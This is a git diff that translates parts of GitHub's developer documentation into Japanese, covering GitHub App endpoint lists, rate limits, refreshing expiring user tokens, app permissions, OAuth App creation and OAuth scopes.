+* [認証されたユーザのGPGキーの一覧表示](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
+* [認証されたユーザのGPGキーの作成](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
+* [認証されたユーザのGPGキーの取得](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
+* [認証されたユーザのGPGキーの削除](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
+* [ユーザのGPGキーの一覧表示](/rest/reference/users#list-gpg-keys-for-a-user)
 
-#### User Public Keys
+#### ユーザの公開鍵
 
-* [List public SSH keys for the authenticated user](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
-* [Create a public SSH key for the authenticated user](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
-* [Get a public SSH key for the authenticated user](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
-* [Delete a public SSH key for the authenticated user](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
-* [List public keys for a user](/rest/reference/users#list-public-keys-for-a-user)
+* [認証されたユーザの公開SSHキーの一覧表示](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
+* [認証されたユーザの公開SSHキーの作成](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
+* [認証されたユーザの公開SSHキーの取得](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
+* [認証されたユーザの公開SSHキーの削除](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
+* [ユーザの公開鍵の一覧表示](/rest/reference/users#list-public-keys-for-a-user)
 
-#### Users
+#### ユーザ
 
-* [Get the authenticated user](/rest/reference/users#get-the-authenticated-user)
-* [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
+* [認証されたユーザの取得](/rest/reference/users#get-the-authenticated-user)
+* [ユーザアクセストークンでアクセスできるアプリケーションのインストールの一覧表示](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
 {% ifversion fpt or ghec %}
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+* [認証されたユーザのサブスクリプションのリスト](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 {% endif %}
-* [List users](/rest/reference/users#list-users)
-* [Get a user](/rest/reference/users#get-a-user)
+* [ユーザの一覧表示](/rest/reference/users#list-users)
+* [ユーザの取得](/rest/reference/users#get-a-user)
 
 {% ifversion fpt or ghec %}
-#### Workflow Runs
+#### ワークフローラン
 
-* [List workflow runs for a repository](/rest/reference/actions#list-workflow-runs-for-a-repository)
-* [Get a workflow run](/rest/reference/actions#get-a-workflow-run)
-* [Cancel a workflow run](/rest/reference/actions#cancel-a-workflow-run)
-* [Download workflow run logs](/rest/reference/actions#download-workflow-run-logs)
-* [Delete workflow run logs](/rest/reference/actions#delete-workflow-run-logs)
-* [Re run a workflow](/rest/reference/actions#re-run-a-workflow)
-* [List workflow runs](/rest/reference/actions#list-workflow-runs)
-* [Get workflow run usage](/rest/reference/actions#get-workflow-run-usage)
+* [リポジトリのワークフローランの一覧表示](/rest/reference/actions#list-workflow-runs-for-a-repository)
+* [ワークフローランの取得](/rest/reference/actions#get-a-workflow-run)
+* [ワークフローランのキャンセル](/rest/reference/actions#cancel-a-workflow-run)
+* [ワークフローランのログのダウンロード](/rest/reference/actions#download-workflow-run-logs)
+* [ワークフローランのログの削除](/rest/reference/actions#delete-workflow-run-logs)
+* [ワークフローの再実行](/rest/reference/actions#re-run-a-workflow)
+* [ワークフローランの一覧表示](/rest/reference/actions#list-workflow-runs)
+* [ワークフローランの利用状況の取得](/rest/reference/actions#get-workflow-run-usage)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Workflows
+#### ワークフロー
 
-* [List repository workflows](/rest/reference/actions#list-repository-workflows)
-* [Get a workflow](/rest/reference/actions#get-a-workflow)
-* [Get workflow usage](/rest/reference/actions#get-workflow-usage)
+* [リポジトリワークフローの一覧表示](/rest/reference/actions#list-repository-workflows)
+* [ワークフローの取得](/rest/reference/actions#get-a-workflow)
+* [ワークフロー利用状況の取得](/rest/reference/actions#get-workflow-usage)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## 参考リンク
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[{% data variables.product.prodname_dotcom %} への認証について](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/index.md b/translations/ja-JP/content/developers/apps/building-github-apps/index.md
index 20e2cd4b16..f062948c33 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/index.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building GitHub Apps
-intro: You can build GitHub Apps for yourself or others to use. Learn how to register and set up permissions and authentication options for GitHub Apps.
+title: GitHub App を構築する
+intro: GitHub App を、あなた自身や他の人が使うために構築できます。 GitHub App の登録と、権限および認証オプションの設定方法について学びましょう。
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps
   - /apps/building-github-apps
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/ja-JP/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
index 6027f1bb2b..72da22935b 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Rate limits for GitHub Apps
+title: GitHub Appのレート制限
 intro: '{% data reusables.shortdesc.rate_limits_github_apps %}'
 redirect_from:
   - /early-access/integrations/rate-limits
@@ -14,15 +14,16 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Rate limits
+shortTitle: レート制限
 ---
-## Server-to-server requests
+
+## サーバーからサーバーへのリクエスト
 
 {% ifversion ghec %}
 
 The rate limits for server-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
 
-### Normal server-to-server rate limits
+### 通常のサーバーからサーバーへのレート制限
 
 {% endif %}
 
@@ -30,32 +31,32 @@ The rate limits for server-to-server requests made by {% data variables.product.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} server-to-server rate limits
+### {% data variables.product.prodname_ghe_cloud %}のサーバーからサーバーへのレート制限
 
 {% data variables.product.prodname_github_apps %} that are installed on an organization or repository owned by an enterprise on {% data variables.product.product_location %} have a rate limit of 15,000 requests per hour for server-to-server requests.
 
 {% endif %}
 
-## User-to-server requests
+## ユーザからサーバーへのリクエスト
 
-{% data variables.product.prodname_github_apps %} can also act [on behalf of a user](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps), making user-to-server requests.
+{% data variables.product.prodname_github_apps %}[ユーザの代わりに](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps)動作し、ユーザからサーバーへのリクエストを発行することができます。
 
 {% ifversion ghec %}
 
 The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
 
-### Normal user-to-server rate limits
+### 通常のユーザからサーバーへのレート制限
 
 {% endif %}
 
-User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's{% ifversion ghae %} token{% else %} username and password{% endif %} share the same quota of 5,000 requests per hour for that user.
+User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. ユーザが認可したすべてのOAuthアプリケーション、ユーザが所有する個人アクセストークン、ユーザの{% ifversion ghae %} トークン{% else %} ユーザ名およびパスワード{% endif %} で認証されたリクエストは、ユーザに対する1時間あたり5,000リクエストという割り当てを共有します。
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} user-to-server rate limits
+### {% data variables.product.prodname_ghe_cloud %}のユーザからサーバーへのレート制限
 
 When a user belongs to an enterprise on {% data variables.product.product_location %}, user-to-server requests to resources owned by the same enterprise are rate limited at 15,000 requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's username and password share the same quota of 5,000 requests per hour for that user.
 
 {% endif %}
 
-For more detailed information about rate limits, see "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" for REST API and "[Resource limitations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" for GraphQL API.
+レート制限に関する詳細な情報については、REST APIについては「[レート制限](/rest/overview/resources-in-the-rest-api#rate-limiting)」を、GraphQL APIについては「[リソース制限]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)」を参照してください。
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/ja-JP/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
index 7acf2cb64a..e38a53d078 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
@@ -1,6 +1,6 @@
 ---
-title: Refreshing user-to-server access tokens
-intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.'
+title: 　ユーザからサーバーへのアクセストークンの更新
+intro: '定期的なトークンのローテーションを強制し、侵害されたトークンの影響を抑えるために、ユーザアクセストークンの期限を利用するように{% data variables.product.prodname_github_app %}を設定できます。'
 redirect_from:
   - /apps/building-github-apps/refreshing-user-to-server-access-tokens
   - /developers/apps/refreshing-user-to-server-access-tokens
@@ -11,35 +11,36 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Refresh user-to-server access
+shortTitle: ユーザからサーバーへのアクセスの更新
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
 
-## About expiring user access tokens
+## ユーザアクセストークンの期限切れについて
 
-To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+定期的なトークンのローテーションを強制し、侵害されたトークンの影響を抑えるために、ユーザアクセストークンの期限を利用するように{% data variables.product.prodname_github_app %}を設定できます。 ユーザからサーバーへのリクエストの発行に関する詳しい情報については、「[GitHub Appのユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。
 
-Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. 
+期限切れになるユーザトークンは、8時間で期限切れになります。 新しいユーザからサーバーへのアクセストークンを受信すると、レスポンスにはリフレッシュトークンも含まれます。このリフレッシュトークンは、新しいユーザトークン及びリフレッシュトークンと交換できます。 リフレッシュトークンは、6ヶ月間有効です。
 
-## Renewing a user token with a refresh token
+## リフレッシュトークンでのユーザトークンの更新
 
-To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`.
+期限切れになるユーザからサーバーへのアクセストークンを更新するには、`refresh_token`を新しいアクセストークン及び`refresh_token`と交換できます。
 
   `POST https://github.com/login/oauth/access_token`
 
-This callback request will send you a new access token and a new refresh token.  This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)."
+このコールバックリクエストは、新しいアクセストークンと新しいリフレッシュトークンを送信してきます。  このコールバックリクエストは、一時的な`code`をアクセストークンと交換するために使うOAuthのリクエストに似ています。 詳しい情報については「[GitHub Appsのユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)」及び「[認証の基本](/rest/guides/basics-of-authentication#providing-a-callback)」を参照してください。
 
-### Parameters
+### パラメータ
 
-Name | Type | Description
------|------|------------
-`refresh_token` | `string` | **Required.** The token generated when the  {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token.
-`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification).
-`client_id` | `string` | **Required.** The  client ID for your {% data variables.product.prodname_github_app %}.
-`client_secret` | `string`   | **Required.** The  client secret for your {% data variables.product.prodname_github_app %}.
+| 名前              | 種類       | 説明                                                                                                               |
+| --------------- | -------- | ---------------------------------------------------------------------------------------------------------------- |
+| `refresh_token` | `string` | **必須。** {% data variables.product.prodname_github_app %}のオーナーが期限切れするトークンを有効化し、新しいユーザアクセストークンを発行したときに生成されるトークン。 |
+| `grant_type`    | `string` | **必須。** 値は`refresh_token`でなければならない（OAuthの仕様で必須）。                                                                 |
+| `client_id`     | `string` | **必須。** {% data variables.product.prodname_github_app %}のクライアントID。                                             |
+| `client_secret` | `string` | **必須。**{% data variables.product.prodname_github_app %}のクライアントシークレット。                                          |
 
-### Response
+### レスポンス
 
 ```json
 {
@@ -51,35 +52,34 @@ Name | Type | Description
   "token_type": "bearer"
 }
 ```
-## Configuring expiring user tokens for an existing GitHub App
+## 既存のGitHub Appに対する期限切れするユーザトークンの設定。
 
-You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings.
+期限切れするユーザからサーバーへの認可トークンの有効化や無効化は、{% data variables.product.prodname_github_app %}設定から行えます。
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}.
-  ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png)
-5. In the left sidebar, click **{% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} Features**.
+4. 選択した{% data variables.product.prodname_github_app %}の隣の**Edit（編集）**をクリックしてください。 ![GitHub Appを編集する設定](/assets/images/github-apps/edit-test-app.png)
+5. 左サイドバーで、[**{% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} Features**] をクリックします。
   {% ifversion ghes < 3.1 %} ![Beta features tab](/assets/images/github-apps/beta-features-option.png) {% else %} ![Optional features tab](/assets/images/github-apps/optional-features-option.png) {% endif %}
-6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply.
+6. 「User-to-server token expiration（ユーザからサーバーへのトークンの有効期限）」の隣の**Opt-in（オプトイン）**もしくは**Opt-out（オプトアウト）**をクリックしてください。 この設定が適用されるまで、数秒かかることがあります。
 
-## Opting out of expiring tokens for new GitHub Apps
+## 新しいGitHub Appでの期限切れになるトークンのオプトアウト
 
-When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens.
+新しい{% data variables.product.prodname_github_app %}を作成する際には、デフォルトでそのアプリケーションは期限切れになるユーザからサーバーへのアクセストークンを使用します。
 
-If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page.
+アプリケーションに期限切れにならないユーザからサーバーへのアクセストークンを使わせたい場合には、アプリケーションの設定ページで"Expire user authorization tokens（ユーザ認可トークンの期限切れ）"を選択を解除できます。
 
-![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+![GitHub App のセットアップ中に期限付きユーザトークンをオプトインするオプション](/assets/images/github-apps/expire-user-tokens-selection.png)
 
-Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app.
+ユーザからサーバーへの認可トークンを使用する既存の{% data variables.product.prodname_github_apps %}は、アプリケーションのオーナーが期限になるユーザトークンをアプリケーションに対して有効化した場合にのみ、この新しいフローの影響を受けます。
 
-Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+既存の{% data variables.product.prodname_github_apps %}に対して期限設定付きのユーザトークンを有効化するためには、8時間で期限切れになる新しいユーザトークンを再発行するためにOAuthフローを通じてユーザを送信し、リフレッシュトークンを使って新しいアクセストークンとリフレッシュトークンを取得するためのリクエストを発行する必要があります。 詳しい情報については「[GitHub App のユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## 参考リンク
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[{% data variables.product.prodname_dotcom %} への認証について](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/ja-JP/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
index df3ebbe72d..2a260f6120 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Setting permissions for GitHub Apps
+title: GitHub Appの権限の設定
 intro: '{% data reusables.shortdesc.permissions_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps
@@ -13,6 +13,7 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Set permissions
+shortTitle: 権限の設定
 ---
-GitHub Apps don't have any permissions by default. When you create a GitHub App, you can select the permissions it needs to access end user data. Permissions can also be added and removed. For more information, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+
+GitHub Appは、デフォルトでは何の権限も持っていません。 GitHub Appを作成する際に、そのアプリケーションがエンドユーザのデータにアクセスするために必要な権限を選択できます。 権限は、追加することも削除することもできます。 詳しい情報については「[GitHub Appの権限の編集](/apps/managing-github-apps/editing-a-github-app-s-permissions/)」を参照してください。
diff --git a/translations/ja-JP/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/ja-JP/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
index a080cbc4da..9eacf0a2d2 100644
--- a/translations/ja-JP/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
+++ b/translations/ja-JP/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating an OAuth App
+title: OAuthアプリの作成
 intro: '{% data reusables.shortdesc.creating_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps
@@ -13,10 +13,11 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-oauth-apps-allowed %}
+  **ノート：** {% data reusables.apps.maximum-oauth-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -24,35 +25,29 @@ topics:
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Click **New OAuth App**.
-![Button to create a new OAuth app](/assets/images/oauth-apps/oauth_apps_new_app.png)
+4. [**New OAuth App**] をクリックします。 ![新しい OAuth App を作成するボタン](/assets/images/oauth-apps/oauth_apps_new_app.png)
 
   {% note %}
 
-  **Note:** If you haven't created an app before, this button will say, **Register a new application**.
+  **注釈:** アプリをまだ作成したことがない場合、このボタンに [**Register a new application**] と表示されます。
 
   {% endnote %}
-6. In "Application name", type the name of your app.
-![Field for the name of your app](/assets/images/oauth-apps/oauth_apps_application_name.png)
+6. [Application name] に、アプリケーションの名前を入力します。 ![アプリケーションの名前フィールド](/assets/images/oauth-apps/oauth_apps_application_name.png)
 
   {% warning %}
 
-  **Warning:**  Only use information in your OAuth app that you consider public. Avoid using sensitive data, such as internal URLs, when creating an OAuth App.
+  **警告:** 公にしてよいと思われる OAuth App の情報のみを使用します。 OAuth App を作成する場合、内部 URL などの機密データを使用することは避けてください。
 
   {% endwarning %}
 
-7. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your app](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
-8. Optionally, in "Application description", type a description of your app that users will see.
-![Field for a description of your app](/assets/images/oauth-apps/oauth_apps_application_description.png)
-9. In "Authorization callback URL", type the callback URL of your app.
-![Field for the authorization callback URL of your app](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
+7. [Homepage URL] に、アプリケーションのウェブサイトの完全な URL を入力します。 ![アプリケーションのホームページ URL フィールド](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
+8. 必要に応じて、ユーザーに表示されるアプリケーションの説明を [Application description] に入力します。 ![アプリケーションの説明フィールド](/assets/images/oauth-apps/oauth_apps_application_description.png)
+9. [Authorization callback URL] に、アプリケーションのコールバック URL を入力します。 ![アプリケーションの認可コールバック URL フィールド](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
    {% note %}
 
-   **Note:** OAuth Apps cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}.
+   **注釈:** {% data variables.product.prodname_github_apps %} と異なり、OAuth App は複数のコールバック URL を持つことはできません。
 
    {% endnote %}
 {% endif %}
-10. Click **Register application**.
-![Button to register an application](/assets/images/oauth-apps/oauth_apps_register_application.png)
+10. **Register application** をクリックする。 ![アプリケーションを登録するボタン](/assets/images/oauth-apps/oauth_apps_register_application.png)
diff --git a/translations/ja-JP/content/developers/apps/building-oauth-apps/index.md b/translations/ja-JP/content/developers/apps/building-oauth-apps/index.md
index 69a5c827a2..b89ecf446a 100644
--- a/translations/ja-JP/content/developers/apps/building-oauth-apps/index.md
+++ b/translations/ja-JP/content/developers/apps/building-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building OAuth Apps
-intro: You can build OAuth Apps for yourself or others to use. Learn how to register and set up permissions and authorization options for OAuth Apps.
+title: OAuth App を構築する
+intro: OAuth Apps を、あなた自身や他の人が使うために構築できます。 OAuth App の登録と、権限および認可オプションの設定方法について学びましょう。
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps
   - /apps/building-oauth-apps
diff --git a/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
index 8471eadaa4..ebbcc83b49 100644
--- a/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
+++ b/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Scopes for OAuth Apps
+title: OAuth Appのスコープ
 intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps
@@ -14,17 +14,18 @@ versions:
 topics:
   - OAuth Apps
 ---
-When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form.
+
+OAuth AppをGitHub上でセットアップする際には、要求されたスコープが認可フォーム上でユーザに表示されます。
 
 {% note %}
 
-**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**ノート:** GitHub Appを構築しているなら、認可リクエストでスコープを提供する必要はありません。 このことに関する詳細については「[GitHub Appのユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください、
 
 {% endnote %}
 
-If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)."
+CLIツールなど、{% data variables.product.prodname_oauth_app %}がブラウザにアクセスできない場合、アプリケーションを認可するユーザのスコープを指定する必要はありません。 詳しい情報については「[OAuth Appの認可](/developers/apps/authorizing-oauth-apps#device-flow)」を参照してください。
 
-Check headers to see what OAuth scopes you have, and what the API action accepts:
+どのOAuthスコープを所有しているか、そしてAPIアクションが何を受け付けるかを知るには、ヘッダを確認してください。
 
 ```shell
 $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I
@@ -33,54 +34,53 @@ X-OAuth-Scopes: repo, user
 X-Accepted-OAuth-Scopes: user
 ```
 
-* `X-OAuth-Scopes` lists the scopes your token has authorized.
-* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for.
+* `X-OAuth-Scopes`はトークンが認可したスコープをリストします。
+* `X-Accepted-OAuth-Scopes`は、アクションがチェックするスコープをリストします。
 
-## Available scopes
+## 利用できるスコープ
 
-Name | Description
------|-----------|{% ifversion not ghae %}
-**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %}
-**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %}
-**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects.
-&emsp;`repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.
-&emsp;`repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}
-&emsp;`public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}
-&emsp;`repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}
-&emsp;`security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) <br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}
-&emsp;`security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}
-**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks.
-&emsp;`write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-&emsp;`read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-**`admin:org`** | Fully manage the organization and its teams, projects, and memberships.
-&emsp;`write:org`| Read and write access to organization membership, organization projects, and team membership.
-&emsp;`read:org`| Read-only access to organization membership, organization projects, and team membership.
-**`admin:public_key`** | Fully manage public keys.
-&emsp;`write:public_key`| Create, list, and view details for public keys.
-&emsp;`read:public_key`| List and view details for public keys.
-**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user.
-**`gist`** | Grants write access to gists.
-**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions.
-**`user`** | Grants read/write access to profile info only.  Note that this scope includes `user:email` and `user:follow`.
-&emsp;`read:user`| Grants access to read a user's profile data.
-&emsp;`user:email`| Grants read access to a user's email addresses.
-&emsp;`user:follow`| Grants access to follow or unfollow other users.
-**`delete_repo`** | Grants access to delete adminable repositories.
-**`write:discussion`** | Allows read and write access for team discussions.
-&emsp;`read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %}
-**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)".
-**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)".
